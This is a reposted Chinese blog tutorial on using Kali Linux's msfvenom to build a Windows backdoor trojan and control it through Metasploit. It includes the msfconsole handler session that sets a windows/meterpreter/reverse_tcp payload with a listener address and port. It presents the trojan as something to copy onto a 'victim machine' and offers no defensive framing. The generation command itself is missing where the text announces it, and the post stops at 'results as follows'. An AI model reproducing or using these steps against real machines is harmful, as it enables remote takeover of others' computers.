kali Linux生成Windows后门

转载已于 2023-12-11 17:07:23 修改 · 1k 阅读

CC 4.0 BY-SA版权

原文链接：https://blog.youkuaiyun.com/weixin_42514162/article/details/109438059?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165078165116781683936269%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=165078165116781683936269&b

文章标签：

#linux #运维 #服务器

于 2022-04-24 14:29:32 首次发布

这篇教程介绍了如何利用Kali Linux中的msfvenom工具生成Windows木马后门，并通过msfconsole进行操控。首先，通过`msfvenom -l payloads`查看可用模块，然后用`msfvenom`命令生成shell.exe木马，设置lhost和lport为目标IP和监听端口。接着，将木马复制到目标Windows系统但不执行。在Kali中，启动msfconsole，使用`use exploit/multi/handler`，设置payload为`windows/meterpreter/reverse_tcp`，lhost和lport与之前一致。最后，执行木马，即可在Kali上控制受害机器，执行各种命令，如文件下载等。

教程开始：

Kali是一个强大系统，有很多的工具可以用来进行渗透。今天，介绍自己的初始的一个新手木马。

首先，查看一下工具msfvenom的功能参数吧。
```
msfvenom
```
查看功能模块
```
msfvenom -l payloads
```
然后，使用工具msfvenom来生成后门木马，这个是专业的创建木马后门的工具。命令如下：
生成了木马shell.exe，顺便一提lhost(localhost)和lport要设置为你的IP和你打算使用的端口。
之后，把木马复制到另一台受害的机器，Windows系统中，但是先别执行，在kali中继续输入，如下代码：
```
msfconsole
```
之后，输入

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.79.3
lhost => 192.168.79.3
msf5 exploit(multi/handler) > set lport 2333
lport => 2333
msf5 exploit(multi/handler) > exploit

好了，执行Windows下的木马。结果如下